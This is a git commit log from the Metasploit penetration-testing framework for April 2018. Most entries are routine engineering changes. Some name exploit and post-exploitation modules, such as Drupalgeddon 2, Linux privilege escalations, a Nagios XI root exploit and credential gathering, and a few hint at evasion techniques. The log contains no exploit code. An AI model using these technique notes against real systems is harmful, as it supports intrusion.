Removing the Nagios enum module, adding description
2018-05-01 11:35:45 -04:00
Jeffrey Martin
f08cc951cc
Land #9961 , psexec native upload argument
2018-05-01 10:02:34 -05:00
Jacob Robles
4a56ecf3ae
psexec native upload argument
2018-05-01 09:33:17 -05:00
Brent Cook
1456bbdaec
fix more whitespace issues
2018-05-01 05:23:26 -05:00
Brent Cook
34f8a9a5ee
fix continuation warnings in payloads
2018-05-01 04:57:42 -05:00
BennyHusted
4c8ad3ca9c
Removing old exploit/docs
2018-04-30 22:26:37 -04:00
BennyHusted
ad8bf6d8e3
Renamed exploit to electric boogaloo
2018-04-30 22:20:35 -04:00
Brent Cook
fcc38b75bf
style updates
2018-04-30 18:40:07 -05:00
Jeffrey Martin
28173222a8
Land #9881 , cleanup psexec code
2018-04-30 18:39:36 -05:00
Brent Cook
1214f4d6c9
more optimizations
2018-04-30 18:25:25 -05:00
Brent Cook
d340eb644f
Land #9954 , Add search filtering to the CSV output option
2018-04-30 17:01:34 -05:00
Brent Cook
e29a53b7cb
Land #9951 , Update linux/gather/enum_protections module
2018-04-30 16:52:30 -05:00
James Barnett
63ad7dbad4
Tag various URLs so they are grouped
2018-04-30 16:40:07 -05:00
James Barnett
d5838e6411
First pass at sessions api doc
2018-04-30 16:17:27 -05:00
Brent Cook
498394269f
Land #9942 , IPv6 channel fixes
2018-04-30 15:21:53 -05:00
Brent Cook
f3fa9af098
fixup osx sizes
2018-04-30 15:21:23 -05:00
Brent Cook
7e31c2cf76
Land #9942 , IPv6 channel fixes for Python and Linux/macOS Meterpreters
2018-04-30 15:14:12 -05:00
James Barnett
d89f403368
First pass for vuln api doc
2018-04-30 13:41:31 -05:00
Metasploit
53da6ad8b9
Weekly dependency update
2018-04-30 08:06:54 -07:00
Auxilus
bc0cad43bc
Update wireless_ap.rb
2018-04-30 19:19:12 +05:30
Auxilus
ca7afae730
Add wireless_ap post module for Android
...
This module displays all the saved wireless AP creds in the target device
2018-04-30 19:02:30 +05:30
Matthew Kienow
cb8131ab22
Validate search cmd arguments
2018-04-30 00:02:03 -04:00
Matthew Kienow
89d86b1f48
Remove code related to unused search cmd options
2018-04-29 23:16:30 -04:00
Matthew Kienow
ca7b10af39
Add search cmd option to write CSV output file
2018-04-29 23:08:24 -04:00
Lars Sorenson
2ca05ee7c1
Remove explicit EDB url in favor of MSF autogenerated one
...
Use more appropriate Failwith errors for connection issues
Remove an unnecessary `to_s` call
Use the cookie kwarg for send_request_cgi over explicitly setting a header
2018-04-29 22:24:49 -04:00
Brendan Coles
3351a59efb
Update linux/gather/enum_protections
2018-04-29 06:52:47 +00:00
Chris Long
9ae0acd489
Removing debug statement
2018-04-28 15:56:56 -07:00
Chris Long
c7caac627b
Replacing Import with Fiddle, adding fork compatibility for High Sierra
2018-04-28 15:53:23 -07:00
Touhid M Shaikh
d01a664a3f
playsms_filename_exec.md
...
doc update
2018-04-28 19:41:32 +05:30
Aaron Soto
8164379f7a
Land #9908 , msfd_rce_remote and msfd_rce_browser
2018-04-28 00:33:48 -05:00
Kent Gruber
89ab409a1a
remove unnecessary object allocation and regex
...
The regex can be removed with the default split method. The val object
can be removed by adding to the secs object directly on the result of
the case statement.
2018-04-27 23:10:28 -04:00
Brendan Coles
0b9a182746
Add documentation
2018-04-28 01:51:28 +00:00
Brendan Coles
f7504dd9d5
Add AF_PACKET packet_set_ring Privilege Escalation exploit
2018-04-28 01:40:17 +00:00
Aaron Soto
c4bca03fea
Land #9908 , msfd_rce_remote and msfd_rce_browser
2018-04-27 18:54:17 -05:00
Aaron Soto
82fc4aba64
Land #9918 , XDebug Unauthenticated OS command execution
2018-04-27 17:08:58 -05:00
christopher lee
08d3074c79
Add blurb about potential windows issue
2018-04-27 16:38:10 -05:00
menocu
4d65174f6d
changed doc md
2018-04-27 14:54:32 -06:00
christopher lee
41307e62f8
remove puts
2018-04-27 15:50:21 -05:00
menocu
0717500610
initial commit
2018-04-27 14:48:34 -06:00
Sonny Gonzalez
f6f115396b
Land #9943 move super call in merge! so that it returns the proper value
2018-04-27 14:54:58 -05:00
Touhid M Shaikh
ce099aea76
playsms_filename_exec.rb
...
PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution
2018-04-28 01:15:52 +05:30
Brent Cook
ee2ad8affe
move super call in merge! so that it returns the proper value
2018-04-27 14:21:57 -05:00
Brent Cook
8fd7448e48
bump payloads, ipv6 channel fixes
2018-04-27 14:18:54 -05:00
caleBot
b932988866
more fixes
2018-04-27 11:43:32 -06:00
caleBot
2dda26606e
updated based on feedback from r7
2018-04-27 11:23:17 -06:00
caleBot
c343cb944e
Merge branch 'master' of https://github.com/BennyHusted/metasploit-framework
2018-04-27 10:36:32 -06:00
caleBot
7dbdb42154
added enum_nagios_xi doc file
2018-04-27 10:35:07 -06:00
Auxilus
d29bc920c1
print o/p to new line
2018-04-27 20:58:25 +05:30
Auxilus
912970ad3b
change vprint to print for printing o/p in psexec_command
2018-04-27 20:47:21 +05:30
christopher lee
0a73a5007c
Removed duplicated online test
2018-04-27 09:37:17 -05:00
Guilherme Leite
3dd996efce
removing unecessary description
2018-04-27 10:47:34 -03:00
Auxilus
0374de5e0d
change vprint to print for printing o/p
2018-04-27 10:49:04 +05:30
Auxilus
771e0df417
fix in method calls
2018-04-27 10:35:58 +05:30
Auxilus
25cf8d175a
report command execution o/p
2018-04-27 08:43:30 +05:30
James Barnett
5d32a3264d
Workspace API Doc first pass.
2018-04-26 17:55:39 -05:00
christopher lee
43c680151e
Fix exclusion matrix for travis
2018-04-26 17:50:13 -05:00
christopher lee
f781696bc2
Fix Travis build
2018-04-26 17:47:54 -05:00
Brent Cook
916b4b2261
Land #9936 , Narrow rescue scope to StandardError with database
2018-04-26 17:45:15 -05:00
Brent Cook
d2725d9280
Land #9934 , change NoteDataService to raise RuntimeError
2018-04-26 17:44:28 -05:00
James Barnett
5d43e0527f
Notes API doc first pass
2018-04-26 17:42:03 -05:00
christopher lee
8973b9764d
test travis
2018-04-26 17:27:54 -05:00
Brent Cook
79d8f5e86c
autofilter = false means skip, which is reverse of intuition
2018-04-26 17:20:55 -05:00
BennyHusted
1806c247f1
Fixing tabbed spaces, version number in documentation
2018-04-26 18:15:39 -04:00
caleBot
a2ae4bcfb0
initial commit for nagios post module
2018-04-26 16:06:29 -06:00
root
b547e6282e
Adding print statement to run the corresponding post module
2018-04-26 17:55:31 -04:00
christopher lee
0fd7ab6dd9
test
2018-04-26 16:52:48 -05:00
Christopher Lee
cf1bc3e803
Merge pull request #22 from rapid7/master
...
merge latest master to fork
2018-04-26 16:43:31 -05:00
root
37a32c2726
Adding module for Nagios XI remote root exploit.
...
See http://blog.redactedsec.net/exploits/2018/04/26/nagios.html for
more information.
2018-04-26 17:42:10 -04:00
christopher lee
9c7db375bf
Fix broken tests after latest merge with master
2018-04-26 16:39:56 -05:00
Jeffrey Martin
54aaf1f718
Land #9937 , enable autofilter on tp-link camera exploit
2018-04-26 16:08:09 -05:00
christopher lee
516b61ebaa
Merged master
2018-04-26 16:02:56 -05:00
christopher lee
e97693d056
Cleanup
2018-04-26 16:01:15 -05:00
christopher lee
195b405d69
First pass at all test working, added travis ci build
2018-04-26 15:12:53 -05:00
Brent Cook
4789cdc596
enable autofilter on tp-link camera exploit
2018-04-26 14:56:39 -05:00
James Barnett
49baa2ce41
Initial pass for Services api doc
2018-04-26 14:38:16 -05:00
Brent Cook
0fa0358993
Land #9853 , Update Linux sock_sendpage local exploit module
2018-04-26 14:30:51 -05:00
Matthew Kienow
c79e39377e
Narrow rescue scope to StandardError
2018-04-26 14:55:41 -04:00
Metasploit
67e7f917e7
Weekly dependency update
2018-04-26 10:05:16 -07:00
James Barnett
f46a3325fc
Add loot api docs
2018-04-26 11:24:05 -05:00
James Barnett
f5c35843a8
Move swagger docs to separate files
2018-04-26 11:08:11 -05:00
James Barnett
cc460e5b95
Finish documenting host endpoints
2018-04-26 10:39:27 -05:00
Matthew Kienow
1aad9f0879
Revert NoteDataService to raise RuntimeError
2018-04-26 10:43:03 -04:00
Guilherme Cesar Leite
a8662469fe
Documentation on modules/auxiliary/scanner/db2/discovery
...
x
2018-04-26 03:10:45 -03:00
Brent Cook
dbdb35cf08
Land #9877 , Add kernel feature post API methods
2018-04-25 22:18:28 -05:00
William Vu
fc83a130f8
Land #9885 , datastore fixes for stager retry code
2018-04-25 18:53:00 -05:00
Brent Cook
31563a977c
use OO rather than duck typing for parameter copying
2018-04-25 18:41:14 -05:00
Brent Cook
9bdba7e234
s/clone/ds/g
2018-04-25 18:35:45 -05:00
William Vu
fdc11ac607
Land #9931 , minor fixes for #9876 (Drupalgeddon 2)
2018-04-25 18:14:12 -05:00
William Vu
873cbcee27
Fix #9876 , minor updates to Drupalgeddon 2
...
1. Tested versions are already listed in the module doc, and we've
tested more than just 7.57 and 8.4.5 now. Removing a source of potential
inconsistency in the future.
2. No problem with ivars anymore. No idea what happened, but maybe I was
just too tired to code. Removing cleanup method.
2018-04-25 18:09:54 -05:00
Brent Cook
eb79bc47f0
update module metadata
2018-04-25 17:09:39 -05:00
Auxilus
1ecd9b822e
fix whitespaces..
2018-04-26 03:05:53 +05:30
Auxilus
fa11657b8f
fix whitespaces
2018-04-26 02:58:27 +05:30
Auxilus
d59e997628
make some methods private
2018-04-26 02:55:21 +05:30
Jeffrey Martin
2487314821
Land #9869 , Add support for shellcode encryption for msfvenom
2018-04-25 15:51:05 -05:00
Brent Cook
f52e6a18a2
Land #9876 , Drupalgeddon 2
2018-04-25 15:49:53 -05:00
William Vu
644889a324
Add TurnKey Linux ISOs to module doc setup section
2018-04-25 14:32:26 -05:00
James Barnett
a5172e066d
Land #9926 , check remote data service before connecting
...
This PR adds a check prior to connecting to a remote data service
to verify it is online and returning expected data. This prevents
crashes that were occurring when unexpected responses were returned
2018-04-25 14:07:33 -05:00
christopher lee
071a191055
Merge master + workspace removal from http remote data service
2018-04-25 13:39:46 -05:00
James Barnett
df9df01f19
First pass on swagger/blocks documentation
2018-04-25 12:58:29 -05:00
William Vu
b8eb7f2a86
Set target type instead of regexing names
...
We're no longer matching multiple targets like /In-Memory/ or /Dropper/,
so it makes sense to match on a specific value now.
Old matching in this commit: 1900aa2708 .
2018-04-25 11:53:26 -05:00
Auxilus
73494593bf
updated
2018-04-25 20:19:53 +05:30
Brent Cook
2cd0228db2
Land #9900 , add base64 encoder for ruby
2018-04-25 04:06:50 -05:00
Brent Cook
d1fc112441
Land #9924 , Improve debug output in ETERNALBLUE's verify_arch
2018-04-25 03:57:52 -05:00
Brent Cook
4cba6d1df4
suggest a reason if we get no server response
2018-04-25 03:57:12 -05:00
Brent Cook
3eac989fb0
Land #9886 , ignore unused tags on host import
2018-04-25 03:41:55 -05:00
William Vu
675ed78948
Update module doc with patch level detection
2018-04-24 23:30:05 -05:00
William Vu
910e9337fb
Use print_good for patch level check, oops
2018-04-24 23:21:22 -05:00
William Vu
b7ac16038b
Correct comment about PHP CLI (it's not our last!)
2018-04-24 23:18:51 -05:00
William Vu
ec43801564
Add check for patch level in CHANGELOG.txt
...
Looks like 8.x has core/CHANGELOG.txt instead.
2018-04-24 23:12:33 -05:00
William Vu
2ff0e597a0
Add SA-CORE-2018-002 as an AKA ref
...
Makes sense to me. Even though it's technically the advisory.
2018-04-24 22:51:33 -05:00
Auxilus
382a7f8aa3
Merge https://github.com/rapid7/metasploit-framework into psexec_cleanup
2018-04-25 09:09:48 +05:30
William Vu
8bc1417c8c
Use PHP_FUNC as a fallback in case assert() fails
...
Additionally drop a file in a writable directory in case CWD fails.
2018-04-24 22:29:27 -05:00
Auxilus
cbfdaf23a0
updated for requested changes
2018-04-25 08:56:54 +05:30
William Vu
e03ebf9446
Don't make a header out of tested version
...
Reads a little better now.
2018-04-24 21:06:38 -05:00
William Vu
89c95cae08
Remove block quote and add version to sample run
...
The block quote was ripped directly from the module description. It
isn't necessary in the dedicated documentation. Reads better now.
2018-04-24 21:02:30 -05:00
William Vu
8ff4407ca6
Clarify version detection error message
...
This was supposed to imply that we couldn't configure the exploit for a
targetable version. Instead, it just read weirdly. I think it was
missing "to target" at the end. "Determine" is a much better word,
though, since we may be doing detection instead of mere configuration.
2018-04-24 20:51:51 -05:00
Brent Cook
1040713d30
Land #9925 , fix db_import for workspaces
2018-04-24 18:19:15 -05:00
Matthew Kienow
43edf46c43
Fix set data service for no database YAML case
2018-04-24 18:34:16 -04:00
Matthew Kienow
359ef27834
Narrow rescue scope to StandardError
2018-04-24 17:19:54 -04:00
Matthew Kienow
f66029d129
Validate remote data service instance
...
Adds simple data service instance validation when registering and
setting a data service.
2018-04-24 16:54:10 -04:00
Matthew Kienow
01dd79173b
Add data proxy and service for online check
2018-04-24 15:11:16 -04:00
Matthew Kienow
0d284197cb
Add MsfServlet to host endpoint for online check
2018-04-24 15:01:17 -04:00
James Barnett
e5513409db
Include :workspace in db_import opts
2018-04-24 13:53:55 -05:00
Auxilus
e7ac2cd155
move report_auth to psexec module
2018-04-24 23:00:55 +05:30
Auxilus
f43baa3ca9
fix exe and wbemexec dep
2018-04-24 22:07:34 +05:30
Robin Stenvi
c81ad8fec0
Changes after review
2018-04-24 18:33:27 +02:00
William Vu
cfaca5baa3
Restore a return lost in the refactor :(
...
Also spiff up comments.
2018-04-24 11:25:55 -05:00
Auxilus
3353102dc1
fix opt dependencies
2018-04-24 21:55:09 +05:30
William Vu
a0f16b4a66
Prefer print_warning for consistency
2018-04-24 11:17:19 -05:00
William Vu
7ef8b99480
Improve printing in ETERNALBLUE's verify_arch
...
Now shows the invalid arch instead of showing nothing.
2018-04-24 11:09:54 -05:00
Brent Cook
08c1cd5909
Land #9851 , add workaround require for non-powershell psexec
2018-04-24 08:22:58 -05:00
Brent Cook
b3118193e8
add todo comment on require
2018-04-24 08:22:31 -05:00
Brent Cook
30abdfe2fd
move copy up so it's clear what we call by default
2018-04-24 06:40:15 -05:00
Brent Cook
7afefe07a6
aliases was not being copied, dup it
2018-04-24 06:32:54 -05:00
Brent Cook
1d376c78e2
ensure copy exists on DataStore too
2018-04-24 06:32:38 -05:00
Brent Cook
505810ffd6
introspect the RHS since it it is not guaranteed to be a Datastore
2018-04-24 06:15:05 -05:00
Brent Cook
d34119548d
replace some @ with self.
2018-04-24 06:03:02 -05:00
William Vu
cd4861610f
Explain available targets in documentation
...
Oops.
2018-04-24 04:31:30 -05:00
William Vu
b507391f1b
Change back to vprint_status for the nth time
...
I really couldn't decide, especially once I got rid of CmdStager.
Also fully document the module options.
2018-04-24 04:23:52 -05:00
William Vu
2abfee83de
Add module doc to appease the @h00die god
2018-04-24 04:03:35 -05:00
William Vu
c8b6482ab0
Rewrite PHP targets to work with 7.x and 8.x
...
Win some, lose some. php -r spawns a new (obvious) command. :/
Check method and version detection also rewritten. :)
2018-04-24 03:38:05 -05:00
nixawk
273e25265b
Add a QUERY OPTION
2018-04-23 20:51:04 -05:00
Aaron Soto
a1027d56c9
Land #9912 , Fix type validation in the notes add operation
2018-04-23 16:58:13 -05:00
Brendan Coles
ef5272cdc6
Update tested versions
2018-04-23 20:28:24 +00:00
Brendan Coles
767b4a7e05
Add documentation
2018-04-23 18:14:02 +00:00
Brendan Coles
00583caadf
Add Libuser roothelper Privilege Escalation exploit
2018-04-23 17:49:11 +00:00
Brendan Coles
e7b8427b53
Land #9829 , add utility functions to Msf::Post::Linux::System
...
Merge branch 'landing-9829' into upstream-master
2018-04-23 16:46:13 +00:00
Robin Stenvi
b158d862e4
Changes after review
2018-04-23 18:00:55 +02:00
Wei Chen
9777079507
Land #9628 , Add GitStack v2.3.10 Unauth REST API Aux Module
...
Land #9628
2018-04-23 08:53:15 -05:00
Wei Chen
f9a804e7d8
Bring the PR up to date
2018-04-23 08:52:05 -05:00
Wei Chen
ec1294d3f6
Land #9858 , fix error handling in cmd_route
...
Land #9858
2018-04-23 08:46:38 -05:00
Wei Chen
b20042abbd
Fix indent and add elog
2018-04-23 08:45:34 -05:00
bwatters-r7
c8d1e3ea97
Moved documentation for ntds_grabber to correct location
2018-04-23 07:32:36 -05:00
bwatters-r7
fb6fe3eede
Moved documentation to correct location
2018-04-23 07:31:25 -05:00
nixawk
dae612aadf
add doc for auxiliary/scanner/http/influxdb_enum
2018-04-23 05:09:16 -05:00
nixawk
6ac30d1987
update influxdb_enum
2018-04-23 04:56:28 -05:00
Matthew Kienow
d2831536ca
Fix type validation in the notes add operation
...
Make variable nil checks explicit for better style.
2018-04-23 01:46:46 -04:00
Matthew Kienow
59cd5e38db
Land #9902 , fix no DB configured startup crash
2018-04-22 18:31:33 -04:00
Carter Brainerd
055f9ee88b
Remove get_listening_ports()
2018-04-22 16:15:33 -04:00
Robin Stenvi
87b13e5371
Added module documentation
2018-04-22 22:02:03 +02:00
Robin Stenvi
df7db27106
Minor changes in description and comments
2018-04-22 21:27:25 +02:00
h00die
e53de896e7
add arch check
2018-04-22 08:32:52 -04:00
h00die
e197cb5759
add arch check
2018-04-22 08:30:32 -04:00
Robin Stenvi
940028f719
Added modules for msfd
2018-04-22 14:13:41 +02:00
James Barnett
988063d377
Dont set default workspace if theres no DB
2018-04-21 10:26:17 -05:00
Carter Brainerd
035a6a72f1
Fix undefined method error in get_listening_services
2018-04-21 11:10:01 -04:00
Carter Brainerd
4c6ae0f644
Delete gcc version method
...
Also rename get_mount_path_of to get_mount_path
2018-04-21 10:24:27 -04:00
Robin Stenvi
60c6f970c1
Added base64 encoder for Ruby
2018-04-21 10:54:26 +02:00
William Vu
8be58d315c
Stop being lazy about badchar analysis
...
Badchars apply to all targets.
2018-04-20 19:30:38 -05:00
William Vu
5be4526085
Merge remote-tracking branch 'upstream/master' into feature/drupal
2018-04-20 18:42:15 -05:00
William Vu
c5c02512d6
Land #9899 , NOP generator fix for exploit_simple
2018-04-20 18:34:08 -05:00
William Vu
06de967b02
Pass NOP generator to exploit_simple
...
This also makes exploit_simple consistent with its documentation.
2018-04-20 18:27:53 -05:00
Brent Cook
4aafa7b321
Land #9898 , Fix target NOP generator not passed to payload
2018-04-20 18:11:49 -05:00
William Vu
d17cc757e7
Fix typo
2018-04-20 18:03:39 -05:00
Matthew Kienow
fcf42c7626
Landing #9859 , add workspace remote datastore
...
Adds support for create, read, update and delete operations for the
workspace command and data model when using a remote data service.
2018-04-20 18:14:55 -04:00
William Vu
1f5ece9c46
Fix target NOP generator not passed to payload
2018-04-20 17:12:55 -05:00
bwatters-r7
1c92134606
Land #9756 , Add lastore-daemon D-Bus Privilege Escalation exploit
...
Merge branch 'land-9756' into upstream-master
2018-04-20 15:45:37 -05:00
bwatters-r7
eadbcdd679
Added warning abotu the pipup and ding when running the exploit.
2018-04-20 15:44:23 -05:00
Spencer McIntyre
ebd1e01578
Remove "Listening on" messages in capture modules
2018-04-20 16:34:51 -04:00
Spencer McIntyre
1f3cfc9498
Print the listening host information
2018-04-20 16:02:33 -04:00
Brent Cook
f71690e6b9
Land #9892 , Fix target encoder not being passed to payload
2018-04-20 14:41:44 -05:00
bwatters-r7
f12f6d54a5
Land #9862 , Post-exploitation module for meterpreter (Windows) to send wireless probe requests
...
Merge branch 'land-9862' into upstream-master
2018-04-20 14:32:01 -05:00
bwatters-r7
99b7d690d7
Added documentation for module
2018-04-20 14:30:30 -05:00
Spencer McIntyre
2610757f27
Include the StreamServer interface for pivoting
2018-04-20 15:10:53 -04:00
James Barnett
e141a99f08
Update workspace add test with new output
2018-04-20 13:19:28 -05:00
James Barnett
ea79c65b8e
Handle workspace delete if target does not exist
2018-04-20 11:33:35 -05:00
James Barnett
8d09f23b91
Fixes around workspace messaging
2018-04-20 11:25:24 -05:00
bwatters-r7
37a844bef0
Land # 9247, Add ASUS infosvr Auth Bypass Command Execution exploit
...
Merge branch 'land-9247' into upstream-master
2018-04-20 11:24:47 -05:00
James Barnett
f4a949e649
Fix bug creating sessions when connected to remote data service
2018-04-19 16:19:39 -05:00
Sergey Gorbaty
fb3857222a
Java JMX Package Name Randomization
2018-04-19 10:10:56 -07:00
Metasploit
30276eb11c
Weekly dependency update
2018-04-19 10:05:14 -07:00
James Barnett
7e971721f0
Adjust messaging when renaming workspaces
2018-04-19 11:52:30 -05:00
James Barnett
31be847213
Add workspace when reporting vuln_attempt
2018-04-19 11:09:13 -05:00
Wei Chen
69995b7f80
Change --encryptor to --encrypt and fix a typo
2018-04-19 10:41:23 -05:00
William Vu
fcfe927b7a
Add PHP dropper functionality and targets
2018-04-19 05:11:21 -05:00
William Vu
62aca93d8b
Cache version detection and print only once
...
Oops. This is the problem with overloading methods.
2018-04-19 04:59:07 -05:00
William Vu
33bde31eec
Fix target encoder not being passed to payload
...
Datastore functionality has been preserved as an override.
2018-04-19 02:25:18 -05:00
William Vu
2670d06f99
Add in-memory PHP execution using assert()
2018-04-19 02:18:56 -05:00
William Vu
7a2cc991ff
Refactor once more with feeling
...
Nested conditionals are the devil. Printing should be consistent now.
2018-04-18 23:59:14 -05:00
William Vu
3d116d721d
Add version detection and automatic targeting
...
I also refactored error handling. Should be cleaner now.
2018-04-18 21:40:22 -05:00
William Vu
86ffbc753e
Refactor clean URL handling and remove dead code
2018-04-18 19:56:42 -05:00
James Barnett
aa40ef1789
Grab session_dto workspace from host
2018-04-18 17:38:42 -05:00
James Barnett
348eb293d0
Handle case when renaming nonexistant workspace
2018-04-18 13:02:31 -05:00
James Barnett
81d00fa5b7
Fix edge cases in workspace update
2018-04-18 12:56:38 -05:00
sinn3r
01b50b7ad3
Land #9887 , remove rex-text version lock
...
remove rex-text version lock
2018-04-18 11:07:08 -05:00
Wei Chen
3611a1dfe4
Update rex-text version
2018-04-18 10:40:11 -05:00
Jeffrey Martin
2a922f7186
remove rex-text version lock
2018-04-18 10:38:01 -05:00
James Barnett
d4a2703ff1
Dont stop host parsing if id tag found
...
Also make clarify 'bl' variable name.
2018-04-18 10:12:12 -05:00
Brent Cook
00d0beb188
use deep copy
2018-04-18 02:34:48 -10:00
Brent Cook
09e86bfbd0
define merge and merge! on datastore to also merge aliases
2018-04-18 02:27:57 -10:00
Brendan Coles
c9fd5a7d2d
Add yama_installed?, yama_enabled? and selinux_enforcing?
2018-04-18 07:22:20 +00:00
Tim W
1547a47026
Land #9784 , add osx high sierra APFS password disclosure post module
2018-04-18 14:27:22 +08:00
Tim W
72cd97d3e4
minor documentation and comment tweaks
2018-04-18 14:22:32 +08:00
Wei Chen
78a02462d9
Pass Travis attempt N
2018-04-17 21:48:17 -05:00
Wei Chen
b2dfe86fd8
Pass travis
2018-04-17 21:39:21 -05:00
Brent Cook
a5588ec174
use same datastore retry option for x86 and x64 linux stagers
2018-04-17 15:57:54 -10:00
Wei Chen
4dd9d32d62
Fix rspec
2018-04-17 20:32:29 -05:00
Wei Chen
9127b70e6e
Update gemfile
2018-04-17 20:14:32 -05:00
Wei Chen
ff9c55207e
Move crypto methods to Rex::Crypto namespace
2018-04-17 20:12:26 -05:00
h00die
2914ebf631
lpe ufo
2018-04-17 20:39:59 -04:00
William Vu
1900aa2708
Refactor module and address review comments
2018-04-17 19:05:45 -05:00
James Barnett
77558cd2d7
Remove unused code
2018-04-17 14:28:28 -05:00
Carter Brainerd
3da48dbb10
Fix bug caused by last commit
2018-04-17 13:38:38 -04:00
Carter Brainerd
7bfaae0919
Update system.rb
...
Fix get_listening_ports bug
2018-04-17 13:35:25 -04:00
James Barnett
82798424b2
Support getting a workspace via id
...
Also implements a helper method to sanitize sinatra injected
params since it was causing issues downstream. Updated each
use of sinatra params to use this helper method.
2018-04-17 12:35:22 -05:00
Carter Brainerd
85b09a162a
Add some efficiency improvements
2018-04-17 12:09:46 -04:00
James Barnett
b569498250
Address more code review comments
2018-04-17 10:52:56 -05:00
James Barnett
a8a95a03a3
Implement remote workspace delete
2018-04-17 10:19:40 -05:00
Carter Brainerd
d91ef7c9dc
Add strip to protected_* methods
2018-04-17 11:04:08 -04:00
James Barnett
f27490dc61
Address PR suggestions and add comments
2018-04-16 16:45:23 -05:00
James Barnett
68ad91763a
Merge branch 'rapid7/master' into MS-3062_workspaces
2018-04-16 15:33:59 -05:00
James Barnett
2ef451c349
Land #9873 , add notes functionality to remote datastore
...
This PR enables create, update, and delete functionality for the notes
command and data model when using a remote data service.
2018-04-16 15:03:27 -05:00
Matthew Kienow
e283f109a7
Remove commented out code
2018-04-16 14:14:46 -04:00
Matthew Kienow
74cb9c38b2
Change source for host address value in output
2018-04-16 14:09:19 -04:00
Brendan Coles
f3ee870d72
Remove selinux_enforcing? method
2018-04-16 12:16:00 +00:00
Brendan Coles
5bc24d048c
Remove kaslr_enabled? method
2018-04-16 11:51:15 +00:00
Brendan Coles
a1a4c636fb
strip
2018-04-16 10:22:41 +00:00
Auxilus
4de9f84dd4
fix no method error for Failure::Unknown
2018-04-16 13:51:32 +05:30
Auxilus
f0b9ea635a
cleanup psexec code
2018-04-16 09:04:36 +05:30
Lars Sorenson
143fdde1f8
Flipped Safe and Appears in check
2018-04-15 12:10:10 -04:00
Brendan Coles
a60f205ee0
Fix check return CheckCode and typos
2018-04-15 18:08:49 +10:00
Brendan Coles
b5c8b2ed19
Add kaiser_enabled? and kaslr_enabled? methods
2018-04-15 06:53:00 +00:00
Lars Sorenson
60ac89c336
Restructure some logic to make the flow more intuitive
2018-04-14 15:03:12 -04:00
Lars Sorenson
36c1bf5453
Remove a missed tab
2018-04-14 10:30:49 -04:00
Lars Sorenson
083f6936fd
Update for @bcoles review
...
Refactor version checking to use Gem::Version
Change the title of the exploit to fit convention
Change print statements used in check to vprint
Change fail_with Failure for connection issues to be Unknown instead
of NoAccess
Add CVE reference
Refactor how some nil checking is done for response for
send_request_cgi
Text-wrap description to 80 chars
Remove unnecessary string interpolation for cookie in payload
delivery
Change how the payload cradle is escaped and encoded; switch to HTTP
POST for stealth
Remove nil check that is redundant and also typo'd to
2018-04-14 10:24:05 -04:00
Lars Sorenson
486ab7c776
Update for msftidy and contribution guidelines
2018-04-14 09:20:13 -04:00
Lars Sorenson
27ded57cda
Add MSF module for EDB 6768
2018-04-14 08:51:51 -04:00
Brendan Coles
78daa283c7
Add new methods to Msf::Post::Linux::Kernel lib
2018-04-14 07:33:29 +00:00
William Vu
d8508b8d7d
Add Drupal Drupalgeddon 2
2018-04-14 00:22:30 -05:00
Adam Cammack
47a324815d
Land #9872 , Fix JSONRPC fields in external modules
2018-04-13 15:00:26 -05:00
Adam Cammack
9ff16d96b4
Land #9874 , Add option for STDIN timeout
2018-04-13 14:55:47 -05:00
Jeffrey Martin
60c69314b6
Weekly dependency update
2018-04-13 12:33:03 -05:00
Jeffrey Martin
b466c19599
Land #9875 , Lock rex-text due to compatibility issues
2018-04-13 11:55:31 -05:00
Jeffrey Martin
e7a7bcfd7d
Lock rex-text due to compatibility issues
...
The new depndency on the openssl gem creates compatibility issues
in some of the currently supported enviornments. Lock version until
this is sorted out.
2018-04-13 11:15:55 -05:00
Matthew Kienow
daf67999d6
Raise NotImplementedError in NoteDataService stubs
2018-04-13 12:07:35 -04:00
Green-m
73371e9f9c
Add timeout option
2018-04-13 07:31:34 -04:00
Green-m
cff91ee096
Add timeout option
2018-04-13 07:16:11 -04:00
Adam Cammack
e65de2b56f
Conform to JSONRPC 2.0 spec in external modules
...
Responses to queries had a `response` field instead of the required
`result` field.
2018-04-12 16:55:27 -05:00
Matthew Kienow
37479d8fd4
Modify notes search to handle serialized data
...
Initial Goliath notes search implementation attempted to use Arel and
decode base64 serialized data column, however, this was not without
issue. Updated implementation retrieves all records that match
conditions, thus data has been deserialized and then filters using
specified search term.
2018-04-12 17:37:16 -04:00
William Vu
cc9426860b
Land #9871 , search without arguments shows help
...
Lol, you can still specify an empty string to search all modules.
2018-04-12 15:39:54 -05:00
William Vu
d2a683d2df
Add whitespace and update help
2018-04-12 15:39:04 -05:00
Auxilus
0b3f50ea80
show help when no arguments provided to search
2018-04-13 01:27:22 +05:30
Matthew Kienow
4e49b99783
Add cmd notes option to sort by column number
2018-04-12 15:56:42 -04:00
Wei Chen
ee9f49fa39
Fix a typo
2018-04-12 14:45:54 -05:00
Matthew Kienow
5b2bbe7432
Update test for removed make_sortable method
2018-04-12 15:23:35 -04:00
Wei Chen
4e55724f3f
Fix a typo and rspec for payload generator
2018-04-12 14:10:26 -05:00
Brendan Coles
9a3064ad7e
Cleanup and refactor upload_and_compile
2018-04-12 16:43:43 +00:00
Wei Chen
c0c9389b33
Update Gemfile.lock for encryptive outputs for msfvenom
2018-04-12 10:59:28 -05:00
Matthew Kienow
f60bbdd831
Remove cmd notes make_sortable helper method
2018-04-12 10:51:03 -04:00
cbrnrd
bf8c62f27c
change if ! to unless
2018-04-12 09:54:57 -04:00
cbrnrd
5923845f68
Merge branch 'post_linux_system_dev' of https://github.com/cbrnrd/metasploit-framework into post_linux_system_dev
2018-04-12 09:16:31 -04:00
cbrnrd
5f725e09db
Make nosuid? and noexec? take a filepath as param
2018-04-12 09:15:44 -04:00
Chris Long
b282db3c6a
Fixing broken imports for keylog_recorder.rb and improving control chars
2018-04-12 02:08:53 -07:00
Green-m
0286204b5d
Couchdb debug code
2018-04-12 03:54:02 -04:00
Green-m
054e525a61
Couchdb debug code
2018-04-12 03:51:37 -04:00
Brendan Coles
760eac005f
Minor update to documentation
2018-04-12 16:48:33 +10:00
Green-m
22eb36a131
Merge branch 'master' into couchdb_cmd_exec
2018-04-12 02:23:07 -04:00
thecarterb
0abeb4fee6
Add new functions and fix return bugs attempt 2
2018-04-11 21:52:53 -04:00
thecarterb
892fb70fc6
Revert "Add new functions and fix return bugs"
...
This reverts commit 1e34a6d3c6 .
2018-04-11 21:46:34 -04:00
h00die
c72ca7544b
dont let this run on meterpreter
2018-04-11 21:05:15 -04:00
Adam Cammack
2a6acfd1d0
Land #9823 , Private IP leak via WebRTC
